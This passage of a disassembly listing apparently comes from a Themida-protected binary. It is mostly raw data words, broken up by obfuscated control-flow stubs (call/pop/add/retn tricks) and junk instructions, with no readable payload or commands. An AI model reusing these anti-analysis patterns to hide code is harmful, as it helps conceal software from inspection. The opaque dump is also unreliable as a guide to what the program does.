7C895FC3h, 44810424h, 190424h dd 57470000h, 909B1AC3h, 89E741DCh, 1503618Dh, 6AC08B06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 6660C357h, 0BD81F38Bh, 61508ADh, 7D0h, 35850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0C7B338C3h, 60A8B530h, 8D31B6B1h, 615040Dh dd 8AD85FFh, 81660615h, 0FF90E0DEh, 1508ADB5h, 11E806h dd 177A0000h, 0FCFD4895h, 0D4F35030h, 26690C39h, 5FDC6683h dd 8E8h, 0BB154300h, 0D2E9FB1h, 0B4CE81D5h, 5F46DDB1h dd 2E2195FFh, 0B5890615h, 6152725h, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6DE0AB88h dd 7BAEE44Ch, 1721B58Bh, 0C7810615h, 45C7BABh, 0F28BF98Bh dd 2D09BD03h, 0B58B0615h, 6151341h, 8D016060h, 6152CF5h dd 66DEE281h, 0BA6612A5h, 0E96183C9h, 9, 1DD8D600h, 0E2309E55h dd 6A619Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0D38AF6C3h, 0F9B0FC5h, 1289h, 68B0F00h, 89000000h dd 1520B18Dh, 0DDBD8B06h, 0F061525h, 1F83h, 31B58B00h dd 0E906152Bh, 14h, 0DA938924h, 2B9A2CCFh, 88B99944h, 46BB64E9h dd 286687C8h, 8166F38Bh, 9B7AECFh, 152959B5h, 75BD8B06h dd 0E9061516h, 11h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh dd 2ECB2266h, 5211BE81h, 0B5895C32h, 6153095h, 301DBD8Bh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 38A100C3h, 0E945F240h, 0FFFFF80Ah, 1D0DBD0Bh dd 0C18B0615h, 2B01B58Bh, 4EB0615h, 0 ; --------------------------------------------------------------------------- xor [ebp+615018Dh], edi mov di, dx lea eax, [ebp+615279Dh] js $+6 push eax mov di, ax mov [esp], eax xor esi, [ebp+6150DC9h] push 0 push 0 push edx call sub_5BC32F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC32F proc near ; CODE XREF: Themida_:005BC327p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5BC32F endp ; --------------------------------------------------------------------------- db 97h dd 4870F0Bh, 66000000h, 6A7B05BFh, 0D8B0F00h, 50000000h dd 6E9h, 128A7F00h, 5F7B110Dh, 2A42858Dh, 6A0619h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 92A7B0C3h, 0F0633D7h, 83h, 5C08300h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 0C2C35141h, 489505Eh dd 3FBE6624h, 6A006A58h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0DA88C357h, 1C5D46B6h dd 8B0FA8CAh, 152DE9B5h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0D707C357h dd 0E781214Eh, 349FFBF6h, 0D1B52951h, 5F061518h, 267995FFh dd 81660615h, 8DE2F7C6h, 189C159Dh, 3D952906h, 0FF061528h dd 53006AD3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 4A0BEC1Ch, 0DE9h, 0FDDE7300h, 0A7A57FA2h dd 4492E231h, 57609F66h, 6DBB866h, 49BF665Eh, 85FF6199h dd 6151535h, 54409CBFh, 842E912h, 0E80000h, 5D000000h dd 2A4CED81h, 0BD810619h, 61508ADh, 7D0h, 185860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 91F17AC3h, 0BE88D21h, 65000000h, 557E651Fh, 0F1518871h dd 0BD8BD13Eh, 61502E5h, 9D9D8B5Fh, 6A061507h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0D64DC350h, 855A5683h, 33A4DD87h, 1508C1BDh, 0E38106h dd 0F000001h, 786h, 81665600h, 5F41C1DFh, 850FDB0Bh, 0A2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5EC35646h dd 8F830589h, 0BB720FA6h, 0D5BD8B44h, 83061502h, 1928CDBDh dd 840F0006h, 1Ah, 15EDB58Bh, 8DE90615h, 0E8000000h, 7 dd 0D7E63EACh, 8BD1A227h, 85C75EF7h, 61928CDh, 1, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D3C35141h, 41F79C57h dd 4DE924E8h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 80C7C357h, 85C7FB12h dd 61928CDh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5BC5CB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC5CB proc near ; CODE XREF: Themida_:005BC5C3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5BC5CB endp ; --------------------------------------------------------------------------- db 0DEh dd 661C9FAFh, 0DBED681h, 79D9D8Dh, 0BF660615h, 23816AE2h dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 5DC35747h, 0A25769CFh, 6630E161h, 8B66DB8Ch, 4C3F6FBh dd 49840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 8AC75DC3h, 1649984Ah, 66075869h dd 0FF0991BFh, 1518A195h, 0C9852906h, 50061506h, 48C0Fh dd 0BF660000h, 489F369h, 0F1BD8924h, 0E9061509h, 445h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3BC35343h dd 66986EE8h, 0B05045BEh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 7FF73ADDh dd 111FF1E0h, 2B158501h, 70E60615h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 46C35646h, 45EB740Ah, 459529E5h dd 8906150Dh, 1511E5BDh, 0F871E406h, 2BD8B60Fh, 1528D1BDh dd 6BA06h, 0A2BF0000h, 8B00A76Eh, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 91851442h dd 0F08BE4EDh, 8B04E8C1h, 150C11BDh, 0E2F76606h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0F9B079C3h, 575793FAh, 5F5EF18Bh, 0BF525050h, 1C40D6FCh dd 5250310Fh, 8E8h, 9C759700h, 0B17EA9ADh, 310F5E44h, 0FE9h dd 54424D00h, 0A4EFCE7Ch, 0C210EA88h, 0F93DC087h, 585A585Ah dd 51006A93h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 698E36A3h, 0A38CC120h, 2E59BD01h, 0B70F0615h dd 0ADB5FFFFh, 6A061508h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FC4C351h, 10E8F8BFh dd 0E5000000h, 3B0884C3h, 835E7F35h, 6ADED69Eh, 66D89347h dd 779BD681h, 2195FF5Fh, 0F06152Eh, 0B0F3B7h, 6A70E6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 840AF6C3h, 66AD2131h, 0E919BBBFh, 9, 38527F19h, 5A81FE9Bh dd 6A71E4D6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 56BAC350h, 0BAEF8143h, 3C2EAA34h dd 4A830F61h, 8B000002h, 151D75BDh, 0D8B60F06h, 8F0Fh dd 6BA0000h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 5F02C350h, 84BD3BD0h dd 8859D89h, 0C38B0615h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0AAC35646h, 8D4A41C9h, 5597A3EAh, 61E0B060h dd 1185B58Bh, 0E8C10615h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0EDA3087Ch dd 9501518Eh, 6151DB5h, 0E2F7665Eh, 6880Fh, 8D890000h dd 6150AE9h, 0F681D82Bh, 46C1F665h, 17ADBD8Bh, 6A580615h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 7534C353h, 0B64C171Bh, 0DCCE8166h, 11E86Bh dd 654C0000h, 574AB34Dh, 61E3B58Dh, 2514A290h, 5E6FA97Ch dd 880FD82Bh, 151h, 7B9F28Bh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9881C355h dd 0C183C6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 4DC35141h, 0D93BF563h, 103860Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 83A079C3h, 0B5D14238h, 8C66F51Fh, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 2DD9C992h dd 2A818529h, 0BE660615h, 0C1F6B398h, 0A2840F04h, 60000000h dd 179D8589h, 0BF0F0615h, 95FF61DFh, 61518A1h, 1541BD31h dd 8B5B0615h, 1506F5B5h, 13E906h, 0EC480000h, 7CE7DB37h dd 6A85BF93h, 66DB989Ch, 7CC6A624h, 6AC32BC0h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 9C4DC356h, 61C232C5h, 68B0F81h, 89000000h, 1504498Dh dd 59D8906h, 3D061517h, 834h, 2B860Fh, 0BF0F0000h, 2BE9F0h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B1C60C3h, 1510A5B5h, 89C08B06h, 1533E995h dd 8BC38B06h, 0E585C7D8h, 11061515h, 81186B65h, 8E43D7D6h dd 0E8C08B16h, 9, 6166BE3Fh, 53F022BDh, 21B5293Ah, 5F061508h dd 8ADBD81h, 7D00615h, 850F0000h, 2Eh, 9A19D09h, 85FF0615h dd 61508ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0B7C35646h, 0BE666BE4h, 0B5FFAAC7h, 61508ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h, 618DCB97h dd 0F5DCE9Ah, 8Eh, 0E98D0900h, 0FF061517h, 152E2195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 7EECC100h, 8B90D51Eh, 153035BDh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0EECEEDE3h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 89C35343h dd 6A3C29BAh, 56B53E6Dh, 0CDBD8B74h, 29061524h, 1510D585h dd 12E95706h, 0A9000000h, 62259A8Eh, 3DDE33AFh, 99770B77h dd 7DF31FAh, 5EFE8BE9h, 1DADB58Bh, 8E90615h, 4B000000h dd 0A7D64958h, 6ACAD028h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E964C350h, 5, 18F744Eh dd 6AFA8B2Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 870CC357h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0C7C35747h, 7F0F6997h, 10850Fh dd 0BE90000h, 0FC000000h, 9D773F93h, 5763F9BBh, 0BD8BB4ECh dd 61502CDh, 0FFF7EDE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0C60CC030h, 2595018Ah dd 8106151Eh, 0ABCA0EDFh, 0FE8B6624h, 3A88BF60h, 0FEB925D3h dd 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 2C1CC356h, 81674D51h, 888DD0E1h dd 13E9h, 21AC0B00h, 0A9AC5362h, 0E25C0D3Fh, 0ADF7E0Fh dd 0FCADC123h, 0AE9h, 47320800h, 0A7DCCEEBh, 21DD1C1Eh dd 1504E18Dh, 2820F06h, 0B7000000h, 8D8D21C8h, 0F061510h dd 148Dh, 0FE900h, 5CA60000h, 3C0F106Dh, 51D5F790h, 157C1134h dd 519D291Eh, 8B06152Ch, 1504E18Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 858B754Eh dd 6151911h, 0F01E183h, 685h, 0E59D8B00h, 8B061518h, 15108D8Dh dd 0BD8D8906h, 83061517h, 850F01E1h, 6, 3198D281h, 60617829h dd 1769BD8Bh, 0FEB90615h, 89FFFFFFh, 1510C98Dh, 158D2106h dd 6A061527h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0D413C351h, 0E0BD3F19h, 0D9318C0Fh dd 136DBD33h, 8D210615h dd 6151079h, 80C68B66h, 8D8B23F7h, 6152715h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 31C35545h, 0C739F192h dd 89FADEE6h, 152F5595h, 98BF6606h, 11E856h, 1B610000h dd 3309D6A3h, 8E637AF0h, 4685336Ch, 893821E2h, 152E5DBDh dd 0E1835806h, 24850F01h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC53C353h dd 66B00790h, 8B0C38BBh, 1510798Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 874F59BDh dd 0D9A354C7h, 0E890FB7h, 60000000h, 2555B589h, 950B0615h dd 6152925h, 0E59D8B61h, 6006151Dh, 8215BE66h, 68B0Fh dd 9D2B0000h, 615301Dh, 1E18361h, 2A850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 5298FDC3h, 7DBB918Bh, 0B58B9E6Bh, 6150D8Dh, 6A6061h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0CB6827C3h, 0B9BAB0FCh, 0FFFFFFFEh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 64C35242h, 3D55524Ah, 8D21F0FCh dd 615079Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 52C35545h, 134E09Ch, 150CE585h, 698D2106h, 29061511h dd 1506D99Dh, 9D8D8B06h, 0B4061507h, 1E183C4h, 34850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 50D814C3h, 0FE8h db 0 ; --------------------------------------------------------------------------- loc_5BCFA1: ; DATA XREF: Themida_:0057B204o add dh, ah mov dl, 0C9h mov ecx, 3ED73758h jg short near ptr loc_5BCFCA+3 mov bl, 0FEh imul esi, [eax-7274A1A1h], 6151169h xor [ebp+61517D5h], edi and ecx, 1 jnz loc_5BCFF8 push 0 push edx loc_5BCFCA: ; CODE XREF: Themida_:005BCFAAj call sub_5BCFD2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCFD2 proc near ; CODE XREF: Themida_:loc_5BCFCAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5BCFD2 endp ; --------------------------------------------------------------------------- dw 0B4DEh ; --------------------------------------------------------------------------- aaa adc edi, [edx+172D9589h] adc eax, 0E4A6BF06h sub al, 19h mov edi, [ebp+6152F0Dh] loc_5BCFF8: ; CODE XREF: Themida_:005BCFC1j popa pusha push 0 push ebx call sub_5BD005 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BD005 proc near ; CODE XREF: Themida_:005BCFFDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5BD005 endp ; --------------------------------------------------------------------------- jz short loc_5BD031 mov [ebp+6150211h], esi mov ecx, 0FFFFFFFEh xor esi, 10C58671h and [ebp+61515E5h], ecx push 0 push edx loc_5BD031: ; CODE XREF: Themida_:005BD015j call sub_5BD039 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BD039 proc near ; CODE XREF: Themida_:loc_5BD031p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5BD039 endp ; --------------------------------------------------------------------------- db 40h, 3Dh, 79h ; --------------------------------------------------------------------------- pushf jmp loc_5BD058 ; --------------------------------------------------------------------------- sbb al, 5Eh sub dh, 60h inc edi loc_5BD058: ; CODE XREF: Themida_:005BD04Dj and [ebp+6152871h], ecx push 0 push ebp call sub_5BD069 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BD069 proc near ; CODE XREF: Themida_:005BD061p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BD069 endp ; --------------------------------------------------------------------------- db 56h, 94h, 9Bh dd 891AA09Ah, 1528F58Dh, 0E58D8B06h, 8B061515h, 1501A995h dd 1E18306h, 25850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 7DB97C3h, 0CDC0F715h dd 8BFDBB11h, 1528718Dh, 83D18B06h, 850F01E1h, 3, 61D3BF0Fh dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0C1E96FA0h, 0F4809C3Bh, 0AD85C73Bh, 0D0061508h dd 6A000007h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0FC9C357h, 17BF15DFh, 8B17C280h dd 6A61C8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0E4ADB9C3h, 9D6107EBh, 0E9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 762D75FEh, 0BBB57C8h, 6A3B0Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0B9001DC3h, 0D5A73991h dd 25BE6641h, 60C18BC4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0F8C35242h, 0BEDBD0BFh, 8BCCA76Ah, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 90490A8Dh, 83B5179Ah, 1508F5BDh, 9750006h, 3ADBD83h dd 74000615h, 8B535019h, 438B8C0h, 85890000h, 6151385h dd 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h dd 438B853h, 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h dd 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0F4C767C3h, 89ADE4A1h, 152E99BDh, 259D0106h dd 8B06150Ch, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 85011F2Ah, 6152F9Dh, 1949BD8Bh, 5E80615h dd 89000009h, 15178595h, 45858906h, 6A06151Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0F5DC352h, 0BD8BF1B7h, 615346Dh, 8CFE8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0B3403FBh, 5CD33392h, 5820F88h, 0B9000000h, 737F6F80h dd 89FFB70Fh, 152F5985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 8D89C822h, 61524CDh, 86FE8h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 17526C7Fh, 2E58D29h, 85890615h, 6152E0Dh dd 2A8DBD29h, 39E80615h, 29000008h, 151E6D95h, 95858906h dd 29061505h, 15249185h, 822E806h, 0CE90000h, 9A000000h dd 8C5858C4h, 0DAC3D308h, 8958F6DFh, 152D1985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 1709120Eh, 7E6E8FCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 344D4CC3h, 278B586Dh dd 10E985D6h, 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h, 7A780AF2h dd 89A72B5Bh, 1510F185h, 0ED8D8906h, 0E8061500h, 79Ch dd 0C76AB953h, 895E11C6h, 1533ED85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0A8587421h dd 0C1B9D08Dh, 0A3D781EBh, 0E85830F7h, 760h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0ABC35141h, 7BBE66B9h dd 118D8B34h, 89061508h, 1502B585h, 0BE806h, 1CC60000h dd 2B76CEE5h, 60DBE2F0h, 0F19D89AAh, 59061517h, 717E8h dd 0AE900h, 42B30000h, 0B4D4404Ah, 987D16E5h, 23E18589h dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 66500FC3h, 5EFCA7BEh, 6DBE8h, 13E900h, 0B2770000h dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h, 218589C2h dd 8B061529h, 1501A9BDh, 6B2E806h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2939A7C3h dd 152A9985h, 39858906h, 6A061523h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3733C350h dd 51640F48h, 8B1D9115h, 152B35BDh, 65AE806h, 0BD8B0000h dd 6151165h, 33758589h, 8D8B0615h, 6152565h, 643E8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 3E73082Ch, 0CB56F263h, 6650DAD2h, 895FF78Bh, 15000985h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0BE740B3h, 0EE83387h, 95000000h, 840D57CAh dd 23973122h, 0C287A43Ch, 0FABF0F24h, 5D6E85Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 3EFD42C3h, 0E960CCC5h, 7, 0EC4FB834h, 518C07CCh, 0B58B6159h dd 6150DC9h, 2CBD8589h, 0DE80615h, 67000000h, 48D63052h dd 8EB1E864h, 414DD3F2h, 27E9B533h, 0E85E0615h, 57Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6DC35040h, 76EC99B1h dd 0F3B70F49h, 2A498589h, 830F0615h, 5, 9253A2BEh, 542E815h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 296EDBC3h, 0F5931228h, 8589D2B1h, 61533A9h dd 810FF560h, 5, 72C231BEh, 0B06178h, 0FCB8B66h, 0B58BD8B6h dd 61514F1h, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 27192C24h, 0A37C97C4h dd 18D0F41h, 0F5000000h, 8D89C38Bh, 6150E09h, 6A04E8C1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0DB06C350h, 710FFBC4h, 0E2F766F9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F6C35242h, 0BC66E304h dd 11E948h, 0CBB30000h, 86BD9D59h, 2BB5C5F1h, 79305B69h dd 2B5F2549h, 83EF81D8h, 5052C304h, 6E95360h, 0F9000000h dd 22BB1079h, 1FB85BCEh, 617CF77Ah, 89241C89h, 15091D9Dh dd 0A195FF06h, 6A061518h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 2060C353h, 1D987E5Eh dd 0DE9h, 0E4B59400h, 5F116971h, 5192D1E9h, 0BD8B3DBBh dd 6151411h, 64602FB9h, 6A5B11h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0C7F997C3h, 50600126h dd 8DA63B03h, 1527D995h, 65958906h, 89061509h, 51006A1Ah dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 49DF13CAh, 6D289A93h, 0F1CB8160h, 8A3AEA3Ah, 428961CEh dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0BF2C42B5h, 8BA8F3E4h, 15286DBDh, 9D858906h dd 8D061506h, 151D9195h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 6A71C75Ah, 0F363440h dd 58Ch, 0EF816600h, 1A89A7FBh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 66C35646h dd 11E9h, 47EC7800h, 0B3A19DF5h, 55F49B7Eh, 5750146Fh dd 42897353h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0A23BBF49h, 9589671Dh, 61507D9h dd 278D958Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 11B302C3h, 0EFB47661h, 0F88B666Ah dd 6A1A89h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 96E06EC3h, 0BF48190h, 89F81AD2h, 6A0442h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 89C339C3h, 151359BDh, 45952906h, 8D06152Bh, 1519D195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 755FCDEEh, 8C0Fh, 1A890000h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 5DC35747h, 6EB1C880h dd 89CBBF0Fh, 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 135C2CC3h, 7AF74F49h, 9D958D30h dd 6A061505h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0A78DC351h, 4586C9E9h, 1A89BD92h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A8C35646h dd 847119BEh, 668E8C96h, 89B6A4BFh, 6A0442h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 3151ADC3h dd 1505DDBDh, 958D5E06h, 6152C69h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0EAC35040h, 0BD1DF00Ch, 0F31FC306h dd 6A1A89FCh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 19E9C355h, 4659C27Ah, 1DD1B501h dd 42890615h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8F0FC85Bh, 6, 379BD09h, 958D0615h dd 61519C1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 66C35343h, 8932F55Ah, 51006A1Ah, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 13135E8Fh dd 0CA8BA676h, 6A044289h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0C216C352h, 0FC7A05Dh dd 80h, 8D958D00h, 6A06150Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 20E7C353h, 0AC1AFCDFh dd 6890Fh, 8D890000h, 6151119h, 8C0F1A89h, 6, 6999509h dd 42890615h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0AC79ADACh, 1871456Fh, 8D03B864h dd 6152E15h, 0BBE9h, 0F1BF0F00h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 6AA8C3h, 115D8D8Bh dd 6A0615h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 46C35646h, 0C1BD0198h, 6A061522h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0FF8C5C77h, 15339D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A640EC23h dd 0B96617AAh, 6AC3D392h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 6694C353h, 3DB5DF6Fh dd 6AC58Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 950131C3h, 615284Dh, 84C78166h, 6AC08BA5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 4B4FC356h, 0A6DBE94h, 0F681AC29h, 660188FBh dd 8F5BD83h, 75000615h, 0ADBD8309h, 61503h, 53501974h dd 38B8C08Bh, 89000004h, 1502A185h, 59D8D06h, 0FF0617ABh dd 83585BD3h, 1503ADBDh, 17740006h, 38B85350h, 89000004h dd 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 979C356h, 0F88C04Ch, 587h, 0E9816600h, 820F2282h, 